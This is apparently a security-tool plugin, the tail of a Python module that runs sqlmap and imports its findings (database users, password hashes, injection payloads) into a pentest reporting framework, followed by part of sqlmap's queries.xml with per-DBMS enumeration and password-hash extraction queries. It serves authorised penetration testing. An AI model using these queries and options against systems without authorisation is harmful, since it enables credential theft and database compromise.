248 "--os-bof":"Stored procedure buffer overflow exploitation",
249 "--priv-esc":"Database process user privilege escalation",
250 "--msf-path":"MSFPATH Local path where Metasploit Framework is installed",
251 "--tmp-path":"TMPPATH Remote absolute path of temporary files directory",
252 "--reg-read":"Read a Windows registry key value",
253 "--reg-add":"Write a Windows registry key value data",
254 "--reg-del":"Delete a Windows registry key value",
255 "--reg-key":"REGKEY Windows registry key",
256 "--reg-value":"REGVAL Windows registry key value",
257 "--reg-data":"REGDATA Windows registry key value data",
258 "--reg-type":"REGTYPE Windows registry key value type",
259 "-s":"-s SESSIONFILE Load session from a stored (.sqlite) file",
260 "-t":"-t TRAFFICFILE Log all HTTP traffic into a textual file",
261 "--batch":"--batch Never ask for user input, use the default behaviour",
262 "--charset":"CHARSET Force character encoding used for data retrieval",
263 "--crawl":"CRAWLDEPTH Crawl the website starting from the target URL",
264 "--csv-del":"CSVDEL Delimiting character used in CSV output (default \",\")",
265 "--dump-format":"DU.. Format of dumped data (CSV (default), HTML or SQLITE)",
266 "--eta":"Display for each output the estimated time of arrival",
267 "--flush-session":"Flush session files for current target",
268 "--forms":"Parse and test forms on target URL",
269 "--fresh-queries":"Ignore query results stored in session file",
270 "--hex":"Use DBMS hex function(s) for data retrieval",
271 "--output-dir":"ODIR Custom output directory path",
272 "--parse-errors":"Parse and display DBMS error messages from responses",
273 "--pivot-column":"P.. Pivot column name",
274 "--save":"Save options to a configuration INI file",
275 "--scope":"SCOPE Regexp to filter targets from provided proxy log",
276 "--test-filter":"TE.. Select tests by payloads and/or titles (e.g. ROW)",
277 "--update":"Update sqlmap",
278 "-z":"MNEMONICS Use short mnemonics (e.g. \"flu,bat,ban,tec=EU\")",
279 "--alert":"ALERT Run shell command(s) when SQL injection is found",
280 "--answers":"ANSWERS Set question answers (e.g. \"quit=N,follow\")",
281 "--beep":"Make a beep sound when SQL injection is found",
282 "--check-waf":"Heuristically check for WAF/IPS/IDS protection",
283 "--cleanup":"Clean up the DBMS from sqlmap specific UDF and tables",
284 "--dependencies":"Check for missing (non-core) sqlmap dependencies",
285 "--disable-coloring":"Disable console output coloring",
286 "--gpage":"GOOGLEPAGE Use Google dork results from specified page number",
287 "--identify-waf":"Make a through testing for a WAF/IPS/IDS protection",
288 "--mobile":"Imitate smartphone through HTTP User-Agent header",
289 "--page-rank":"Display page rank (PR) for Google dork results",
290 "--purge-output":"Safely remove all content from output directory",
291 "--smart":"Conduct through tests only if positive heuristic(s)",
292 "--wizard":"Simple wizard interface for beginner users",
293 }
294 class HTTPRequest(BaseHTTPRequestHandler):
295 def __init__(self, request_text):
296 self.rfile = StringIO(request_text)
297 self.raw_requestline = self.rfile.readline()
298 self.error_code = self.error_message = None
299 self.parse_request()
300
301 def send_error(self, code, message):
302 self.error_code = code
303 self.error_message = message
304
305 def hashKey(self,key):
306 key = key.encode(UNICODE_ENCODING)
307 print "otra Key:" + str(key)
308 retVal = int(hashlib.md5(key).hexdigest()[:8], 16)
309 return retVal
310
311 def hashDBRetrieve(self,key, unserialize=False, db=False):
312 """
313 Helper function for restoring session data from HashDB
314 """
315
316 key = "%s%s%s" % (self.url or "%s%s" % (self.hostname, self.port), key, HASHDB_MILESTONE_VALUE)
317 retVal=""
318
319 hash_ = self.hashKey(key)
320 print "hash_" + str(hash_) + "key=" + key
321 if not retVal:
322 while True:
323 try:
324 for row in db.execute("SELECT value FROM storage WHERE id=?", (hash_,)):
325 retVal = row[0]
326 except sqlite3.OperationalError, ex:
327 if not 'locked' in ex.message:
328 raise
329 else:
330 break
331 return retVal if not unserialize else self.base64unpickle(retVal)
332
333
334 def base64decode(self,value):
335 """
336 Decodes string value from Base64 to plain format
337
338 >>> base64decode('Zm9vYmFy')
339 'foobar'
340 """
341
342 return value.decode("base64")
343
344 def base64encode(self,value):
345 """
346 Encodes string value from plain to Base64 format
347
348 >>> base64encode('foobar')
349 'Zm9vYmFy'
350 """
351
352 return value.encode("base64")[:-1].replace("\n", "")
353
354 def base64unpickle(self,value):
355 """
356 Decodes value from Base64 to plain format and deserializes (with pickle) its content
357
358 >>> base64unpickle('gAJVBmZvb2JhcnEALg==')
359 'foobar'
360 """
361 if value:
362 return pickle.loads(self.base64decode(value))
363
364
365 def xmlvalue(self,db,name,value="query"):
366
367 filepath = "%s" % os.path.join(current_path, "plugins/repo/sqlmap/queries.xml")
368 with open(filepath,"r") as f:
369 try:
370 tree = ET.fromstring(f.read())
371 except SyntaxError, err:
372 print "SyntaxError: %s. %s" % (err, filepath)
373 return None
374
375 for node in tree.findall("dbms[@value='"+db+"']/"+name+""):
376 return node.attrib[value]
377
378 def getuser(self,data):
379 users = re.findall('database management system users \[[\d]+\]:\r\n(.*?)\r\n\r\n',data, re.S)
380 if users:
381 return map((lambda x: x.replace("[*] ","")), users[0].split("\r\n"))
382
383 def getdbs(self,data):
384 dbs = re.findall('available databases \[[\d]+\]:\r\n(.*?)\r\n\r\n',data, re.S)
385 if dbs:
386 return map((lambda x: x.replace("[*] ","")), dbs[0].split("\r\n"))
387 def getpassword(self,data):
388 users={}
389 password = re.findall('database management system users password hashes:\r\n(.*?)\r\n\r\n',data, re.S)
390 if password:
391 for p in password[0].split("[*] ")[1::]:
392
393 user=re.findall("^(.*?) \[",p)[0]
394 mpass=re.findall("password hash: (.*?)$",p, re.S)
395 mpass=map((lambda x: re.sub(r"[ \r\n]", "", x)), mpass[0].split("password hash: "))
396 users[user]=mpass
397 return users
398
399 def getAddress(self, hostname):
400 """
401 Returns remote IP address from hostname.
402 """
403 try:
404 return socket.gethostbyname(hostname)
405 except socket.error, msg:
406
407 return self.hostname
408
409 def parseOutputString(self, output, debug = False):
410 """
411 This method will discard the output the shell sends, it will read it from
412 the xml where it expects it to be present.
413
414 NOTE: if 'debug' is true then it is being run from a test case and the
415 output being sent is valid.
416 """
417
418
419 password = self.getpassword(output)
420 webserver = re.search("web application technology: (.*?)\n",output)
421 if webserver:
422 webserver=webserver.group(1)
423 users = self.getuser(output)
424 print users
425 dbs = self.getdbs(output)
426
427
428
429 db = Database(self._output_path)
430 db.connect()
431
432
433
434 absFilePaths = self.hashDBRetrieve(HASHDB_KEYS.KB_ABS_FILE_PATHS, True, db)
435 tables = self.hashDBRetrieve(HASHDB_KEYS.KB_BRUTE_TABLES, True, db)
436 columns = self.hashDBRetrieve(HASHDB_KEYS.KB_BRUTE_COLUMNS, True, db)
437 xpCmdshellAvailable = self.hashDBRetrieve(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE, True, db)
438 dbms_version = self.hashDBRetrieve(HASHDB_KEYS.DBMS, False, db)
439
440 os = self.hashDBRetrieve(HASHDB_KEYS.OS, False, db)
441
442 self.ip=self.getAddress(self.hostname)
443
444 dbms=str(dbms_version.split(" ")[0])
445
446 h_id = self.createAndAddHost(self.ip)
447 i_id = self.createAndAddInterface(h_id, name=self.ip, ipv4_address=self.ip,hostname_resolution=self.hostname)
448 s_id = self.createAndAddServiceToInterface(h_id, i_id, self.protocol,
449 "tcp",
450 [self.port],
451 status="open",
452 version=webserver)
453 n_id = self.createAndAddNoteToService(h_id,s_id,"website","")
454 n2_id = self.createAndAddNoteToNote(h_id,s_id,n_id,self.hostname,"")
455
456 db_port=self.db_port[dbms]
457
458 s_id2 = self.createAndAddServiceToInterface(h_id, i_id,
459 name=dbms ,
460 protocol="tcp",
461 status="down",
462 version=str(dbms_version),
463 ports=[str(db_port)],
464 description="DB detect by SQLi")
465 if users:
466 for v in users:
467 self.createAndAddCredToService(h_id,s_id2,v,"")
468
469 if password:
470 for k,v in password.iteritems():
471 for p in v:
472 self.createAndAddCredToService(h_id,s_id2,k,p)
473
474 if absFilePaths:
475 n_id2 = self.createAndAddNoteToService(h_id,s_id2,"sqlmap.absFilePaths",str(absFilePaths))
476 if tables:
477 n_id2 = self.createAndAddNoteToService(h_id,s_id2,"sqlmap.brutetables",str(tables))
478 if columns:
479 n_id2 = self.createAndAddNoteToService(h_id,s_id2,"sqlmap.brutecolumns",str(columns))
480 if xpCmdshellAvailable:
481 n_id2 = self.createAndAddNoteToService(h_id,s_id2,"sqlmap.xpCmdshellAvailable",str(xpCmdshellAvailable))
482
483 for inj in self.hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True,db) or []:
484 print inj
485 print inj.dbms
486 print inj.dbms_version
487 print inj.place
488 print inj.os
489 print inj.parameter
490
491 dbversion = self.hashDBRetrieve(self.xmlvalue(dbms,"banner"), False, db)
492 user = self.hashDBRetrieve(self.xmlvalue(dbms,"current_user"), False, db)
493 dbname = self.hashDBRetrieve(self.xmlvalue(dbms,"current_db"), False, db)
494 hostname = self.hashDBRetrieve(self.xmlvalue(dbms,"hostname"), False, db)
495
496 if user:
497 n_id2 = self.createAndAddNoteToService(h_id,s_id2,"db.user",user)
498 if dbname:
499 n_id2 = self.createAndAddNoteToService(h_id,s_id2,"db.name",dbname)
500 if hostname:
501 n_id2 = self.createAndAddNoteToService(h_id,s_id2,"db.hostname",hostname)
502 if dbversion:
503 n_id2 = self.createAndAddNoteToService(h_id,s_id2,"db.version",dbversion)
504 if dbs:
505 n_id2 = self.createAndAddNoteToService(h_id,s_id2,"db.databases",str(dbs))
506
507 for k,v in inj.data.items():
508 v_id = self.createAndAddVulnWebToService(h_id, s_id,
509 website=self.hostname,
510 name=inj.data[k]['title'],
511 desc="Payload:" + str(inj.data[k]['payload'])+
512 "\nVector:"+ str(inj.data[k]['vector'])+
513 "\nParam type:" + str(self.ptype[inj.ptype]),
514 ref=[],
515 pname=inj.parameter,
516 method=inj.place,
517 params=self.params,
518 path=self.fullpath)
519
520
521
522
523
524
525 def processCommandString(self, username, current_path, command_string):
526
527
528
529 parser = argparse.ArgumentParser(conflict_handler='resolve')
530
531 parser.add_argument('-h')
532 parser.add_argument('-u')
533 parser.add_argument('-s')
534 parser.add_argument('-r')
535
536
537 try:
538 args, unknown = parser.parse_known_args(shlex.split(re.sub(r'\-h|\-\-help', r'', command_string)))
539 except SystemExit:
540 pass
541
542 if args.r:
543 with open(args.r, 'r') as f:
544 request = self.HTTPRequest(f.read())
545 args.u="http://"+request.headers['host']+ request.path
546 f.close()
547
548 if args.u:
549 reg = re.search("(http|https|ftp)\://([a-zA-Z0-9\.\-]+(\:[a-zA-Z0-9\.&amp;%\$\-]+)*@)*((25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9])\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[0-9])|localhost|([a-zA-Z0-9\-]+\.)*[a-zA-Z0-9\-]+\.(com|edu|gov|int|mil|net|org|biz|arpa|info|name|pro|aero|coop|museum|[a-zA-Z]{2}))[\:]*([0-9]+)*([/]*($|[a-zA-Z0-9\.\,\?\'\\\+&amp;%\$#\=~_\-]+)).*?$", args.u)
550 self.protocol = reg.group(1)
551 self.hostname = reg.group(4)
552 self.path ="/"
553 if self.protocol == 'https':
554 self.port=443
555 if reg.group(11) is not None:
556 self.port = reg.group(11)
557
558 if reg.group(12) is not None:
559 tmp=re.search("/(.*)\?(.*?$)",reg.group(12))
560 self.path = "/"+tmp.group(1)
561 self.params=tmp.group(2)
562
563 self.url=self.protocol+"://"+self.hostname+":"+self.port + self.path
564 self.fullpath=self.url+"?"+self.params
565 self._output_path="%s%s" % (os.path.join(self.data_path, "sqlmap_output-"),
566 re.sub(r'[\n\/]', r'', args.u.encode("base64")[:-1]))
567
568 if not args.s:
569 return "%s -s %s\n" % (command_string,self._output_path)
570
571
572 def setHost(self):
573 pass
574
575
576 def createPlugin():
577 return SqlmapPlugin()
578
0 <?xml version="1.0" encoding="UTF-8"?>
1
2 <root>
3 <!-- MySQL -->
4 <dbms value="MySQL">
5 <cast query="CAST(%s AS CHAR)"/>
6 <length query="CHAR_LENGTH(%s)"/>
7 <isnull query="IFNULL(%s,' ')"/>
8 <delimiter query=","/>
9 <limit query="LIMIT %d,%d"/>
10 <limitregexp query="\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
11 <limitgroupstart query="1"/>
12 <limitgroupstop query="2"/>
13 <limitstring query=" LIMIT "/>
14 <order query="ORDER BY %s ASC"/>
15 <count query="COUNT(%s)"/>
16 <comment query="-- " query2="/*" query3="#"/>
17 <substring query="MID((%s),%d,%d)"/>
18 <concatenate query="CONCAT(%s,%s)"/>
19 <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
20 <hex query="HEX(%s)"/>
21 <inference query="ORD(MID((%s),%d,1))>%d"/>
22 <banner query="VERSION()"/>
23 <current_user query="CURRENT_USER()"/>
24 <current_db query="DATABASE()"/>
25 <hostname query="@@HOSTNAME"/>
26 <table_comment query="SELECT table_comment FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' AND table_name='%s'"/>
27 <column_comment query="SELECT column_comment FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s' AND table_name='%s' AND column_name='%s'"/>
28 <is_dba query="(SELECT super_priv FROM mysql.user WHERE user='%s' LIMIT 0,1)='Y'"/>
29 <check_udf query="(SELECT name FROM mysql.func WHERE name='%s' LIMIT 0,1)='%s'"/>
30 <users>
31 <inband query="SELECT grantee FROM INFORMATION_SCHEMA.USER_PRIVILEGES" query2="SELECT user FROM mysql.user"/>
32 <blind query="SELECT DISTINCT(grantee) FROM INFORMATION_SCHEMA.USER_PRIVILEGES LIMIT %d,1" query2="SELECT DISTINCT(user) FROM mysql.user LIMIT %d,1" count="SELECT COUNT(DISTINCT(grantee)) FROM INFORMATION_SCHEMA.USER_PRIVILEGES" count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user"/>
33 </users>
34 <passwords>
35 <inband query="SELECT user,password FROM mysql.user" condition="user"/>
36 <blind query="SELECT DISTINCT(password) FROM mysql.user WHERE user='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(password)) FROM mysql.user WHERE user='%s'"/>
37 </passwords>
38 <privileges>
39 <inband query="SELECT grantee,privilege_type FROM INFORMATION_SCHEMA.USER_PRIVILEGES" condition="grantee" query2="SELECT user,select_priv,insert_priv,update_priv,delete_priv,create_priv,drop_priv,reload_priv,shutdown_priv,process_priv,file_priv,grant_priv,references_priv,index_priv,alter_priv,show_db_priv,super_priv,create_tmp_table_priv,lock_tables_priv,execute_priv,repl_slave_priv,repl_client_priv,create_view_priv,show_view_priv,create_routine_priv,alter_routine_priv,create_user_priv FROM mysql.user" condition2="user"/>
40 <blind query="SELECT DISTINCT(privilege_type) FROM INFORMATION_SCHEMA.USER_PRIVILEGES WHERE grantee%s'%s' LIMIT %d,1" query2="SELECT select_priv,insert_priv,update_priv,delete_priv,create_priv,drop_priv,reload_priv,shutdown_priv,process_priv,file_priv,grant_priv,references_priv,index_priv,alter_priv,show_db_priv,super_priv,create_tmp_table_priv,lock_tables_priv,execute_priv,repl_slave_priv,repl_client_priv,create_view_priv,show_view_priv,create_routine_priv,alter_routine_priv,create_user_priv FROM mysql.user WHERE user='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(privilege_type)) FROM INFORMATION_SCHEMA.USER_PRIVILEGES WHERE grantee%s'%s'" count2="SELECT COUNT(*) FROM mysql.user WHERE user='%s'"/>
41 </privileges>
42 <roles/>
43 <dbs>
44 <inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA" query2="SELECT db FROM mysql.db"/>
45 <blind query="SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT %d,1" query2="SELECT DISTINCT(db) FROM mysql.db LIMIT %d,1" count="SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA" count2="SELECT COUNT(DISTINCT(db)) FROM mysql.db"/>
46 </dbs>
47 <tables>
48 <inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES" condition="table_schema"/>
49 <blind query="SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' LIMIT %d,1" count="SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'"/>
50 </tables>
51 <columns>
52 <inband query="SELECT column_name,column_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
53 <blind query="SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" query2="SELECT column_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'" count="SELECT COUNT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
54 </columns>
55 <dump_table>
56 <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
57 <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s.%s"/>
58 </dump_table>
59 <search_db>
60 <inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" query2="SELECT db FROM mysql.db WHERE %s" condition="schema_name" condition2="db"/>
61 <blind query="SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" query2="SELECT DISTINCT(db) FROM mysql.db WHERE %s" count="SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" count2="SELECT COUNT(DISTINCT(db)) FROM mysql.db WHERE %s" condition="schema_name" condition2="db"/>
62 </search_db>
63 <search_table>
64 <inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES WHERE %s" condition="table_name" condition2="table_schema"/>
65 <blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.TABLES WHERE %s" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.TABLES WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" condition="table_name" condition2="table_schema"/>
66 </search_table>
67 <search_column>
68 <inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" condition="column_name" condition2="table_schema" condition3="table_name"/>
69 <blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema" condition3="table_name"/>
70 </search_column>
71 </dbms>
72
73 <!-- PostgreSQL -->
74 <dbms value="PostgreSQL">
75 <cast query="CAST(%s AS CHARACTER(10000))"/>
76 <length query="LENGTH(%s)"/>
77 <isnull query="COALESCE(%s,' ')"/>
78 <delimiter query="||"/>
79 <limit query="OFFSET %d LIMIT %d"/>
80 <limitregexp query="\s+OFFSET\s+([\d]+)\s+LIMIT\s+([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
81 <limitgroupstart query="1"/>
82 <limitgroupstop query="2"/>
83 <limitstring query=" OFFSET "/>
84 <order query="ORDER BY %s ASC"/>
85 <count query="COUNT(%s)"/>
86 <comment query="--" query2="/*"/>
87 <substring query="SUBSTRING((%s)::text FROM %d FOR %d)"/>
88 <concatenate query="%s||%s"/>
89 <case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
90 <hex query="ENCODE(CONVERT_TO((%s),'UTF8'),'HEX')"/>
91 <inference query="ASCII(SUBSTRING((%s)::text FROM %d FOR 1))>%d"/>
92 <banner query="VERSION()"/>
93 <current_user query="CURRENT_USER"/>
94 <current_db query="CURRENT_SCHEMA()"/>
95 <hostname/>
96 <!--<table_comment query="SELECT pg_catalog.obj_description(c.oid) FROM pg_catalog.pg_class c WHERE c.relname='%s'"/>-->
97 <table_comment query="SELECT description FROM pg_description JOIN pg_class ON pg_description.objoid=pg_class.oid JOIN pg_namespace ON pg_class.relnamespace=pg_namespace.oid WHERE nspname='%s' AND relname='%s'"/>
98 <column_comment query="SELECT col_description(pg_class.oid,pg_attribute.attnum) FROM pg_class JOIN pg_namespace ON pg_class.relnamespace=pg_namespace.oid JOIN pg_attribute ON pg_class.oid=pg_attribute.attrelid WHERE nspname='%s' AND relname='%s' AND attname='%s'"/>
99 <is_dba query="(SELECT usesuper=true FROM pg_user WHERE usename=CURRENT_USER OFFSET 0 LIMIT 1)"/>
100 <check_udf query="(SELECT proname='%s' FROM pg_proc WHERE proname='%s' OFFSET 0 LIMIT 1)"/>
101 <users>
102 <inband query="SELECT usename FROM pg_user"/>
103 <blind query="SELECT DISTINCT(usename) FROM pg_user OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user"/>
104 </users>
105 <passwords>
106 <inband query="SELECT usename,passwd FROM pg_shadow" condition="usename"/>
107 <blind query="SELECT DISTINCT(passwd) FROM pg_shadow WHERE usename='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(passwd)) FROM pg_shadow WHERE usename='%s'"/>
108 </passwords>
109 <privileges>
110 <inband query="SELECT usename,(CASE WHEN usecreatedb THEN 1 ELSE 0 END),(CASE WHEN usesuper THEN 1 ELSE 0 END),(CASE WHEN usecatupd THEN 1 ELSE 0 END) FROM pg_user" condition="usename"/>
111 <blind query="SELECT (CASE WHEN usecreatedb THEN 1 ELSE 0 END),(CASE WHEN usesuper THEN 1 ELSE 0 END),(CASE WHEN usecatupd THEN 1 ELSE 0 END) FROM pg_user WHERE usename='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user WHERE usename='%s'"/>
112 </privileges>
113 <roles/>
114 <dbs>
115 <inband query="SELECT schemaname FROM pg_tables"/>
116 <blind query="SELECT DISTINCT(schemaname) FROM pg_tables OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables"/>
117 </dbs>
118 <tables>
119 <inband query="SELECT schemaname,tablename FROM pg_tables" condition="schemaname"/>
120 <blind query="SELECT tablename FROM pg_tables WHERE schemaname='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'"/>
121 </tables>
122 <columns>
123 <inband query="SELECT attname,typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
124 <blind query="SELECT attname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s'" count="SELECT COUNT(attname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
125 </columns>
126 <dump_table>
127 <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
128 <blind query="SELECT %s FROM %s.%s ORDER BY %s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s"/>
129 </dump_table>
130 <search_db>
131 <inband query="SELECT datname FROM pg_database WHERE %s" condition="datname"/>
132 <blind query="SELECT DISTINCT(datname) FROM pg_database WHERE %s" count="SELECT COUNT(DISTINCT(datname)) FROM pg_database WHERE %s" condition="datname"/>
133 </search_db>
134 <search_table>
135 <inband query="SELECT schemaname,tablename FROM pg_tables WHERE %s" condition="tablename" condition2="schemaname"/>
136 <blind query="SELECT DISTINCT(schemaname) FROM pg_tables WHERE %s" query2="SELECT tablename FROM pg_tables WHERE schemaname='%s'" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables WHERE %s" count2="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'" condition="tablename" condition2="schemaname"/>
137 </search_table>
138 <search_column>
139 <inband query="SELECT nspname,relname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" condition="attname" condition2="nspname" condition3="relname"/>
140 <blind query="SELECT DISTINCT(nspname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" query2="SELECT DISTINCT(relname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" count="SELECT COUNT(DISTINCT(nspname)) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" count2="SELECT COUNT(DISTINCT(relname)) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" condition="attname" condition2="nspname" condition3="relname"/>
141 </search_column>
142 </dbms>
143
144 <!-- Microsoft SQL Server -->
145 <dbms value="Microsoft SQL Server">
146 <cast query="CAST(%s AS NVARCHAR(4000))"/>
147 <length query="LTRIM(STR(LEN(%s)))"/>
148 <isnull query="ISNULL(%s,' ')"/>
149 <delimiter query="+"/>
150 <limit query="SELECT TOP %d "/>
151 <limitregexp query="TOP\s+([\d]+)\s+.+?\s+FROM\s+.+?\s+WHERE\s+.+?\s+NOT\s+IN\s+\(SELECT\s+TOP\s+([\d]+)\s+"/>
152 <limitgroupstart query="2"/>
153 <limitgroupstop query="1"/>
154 <limitstring/>
155 <order query="ORDER BY %s ASC"/>
156 <count query="COUNT(%s)"/>
157 <comment query="--" query2="/*"/>
158 <substring query="SUBSTRING((%s),%d,%d)"/>
159 <concatenate query="%s+%s"/>
160 <case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
161 <hex query="master.dbo.fn_varbintohexstr(CAST(%s AS VARBINARY(8000)))"/>
162 <inference query="UNICODE(SUBSTRING((%s),%d,1))>%d"/>
163 <banner query="SELECT @@VERSION"/>
164 <current_user query="SELECT SYSTEM_USER"/>
165 <current_db query="SELECT DB_NAME()"/>
166 <hostname query="@@SERVERNAME"/>
167 <table_comment query="SELECT value FROM fn_listextendedproperty(NULL,'schema','%s','table','%s',NULL,NULL)"/>
168 <column_comment query="SELECT value FROM fn_listextendedproperty(NULL,'schema','%s','table','%s','column','%s')"/>
169 <is_dba query="IS_SRVROLEMEMBER('sysadmin')=1" query2="IS_SRVROLEMEMBER('sysadmin','%s')=1"/>
170 <users>
171 <inband query="SELECT name FROM master..syslogins" query2="SELECT name FROM sys.sql_logins"/>
172 <!-- NOTE: in NOT IN kind of queries ORDER BY is a must -->
173 <blind query="SELECT TOP 1 name FROM master..syslogins WHERE name NOT IN (SELECT TOP %d name FROM master..syslogins ORDER BY name) ORDER BY name" query2="SELECT TOP 1 name FROM sys.sql_logins WHERE name NOT IN (SELECT TOP %d name FROM sys.sql_logins ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM master..syslogins" count2="SELECT LTRIM(STR(COUNT(name))) FROM sys.sql_logins"/>
174 </users>
175 <passwords>
176 <inband query="SELECT name,master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins" query2="SELECT name,master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins" condition="name"/>
177 <blind query="SELECT TOP 1 master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins WHERE name='%s' AND password NOT IN (SELECT TOP %d password FROM master..sysxlogins WHERE name='%s' ORDER BY password) ORDER BY password" query2="SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins WHERE name='%s' AND password_hash NOT IN (SELECT TOP %d password_hash FROM sys.sql_logins WHERE name='%s' ORDER BY password_hash) ORDER BY password_hash" count="SELECT LTRIM(STR(COUNT(password))) FROM master..sysxlogins WHERE name='%s'" count2="SELECT LTRIM(STR(COUNT(password_hash))) FROM sys.sql_logins WHERE name='%s'"/>
178 </passwords>
179 <!-- NOTE: in Microsoft SQL Server there is no query to enumerate DBMS users privileges -->
180 <privileges/>
181 <roles/>
182 <dbs>
183 <inband query="SELECT name FROM master..sysdatabases" query2="SELECT DB_NAME(%d)"/>
184 <blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
185 </dbs>
186 <tables>
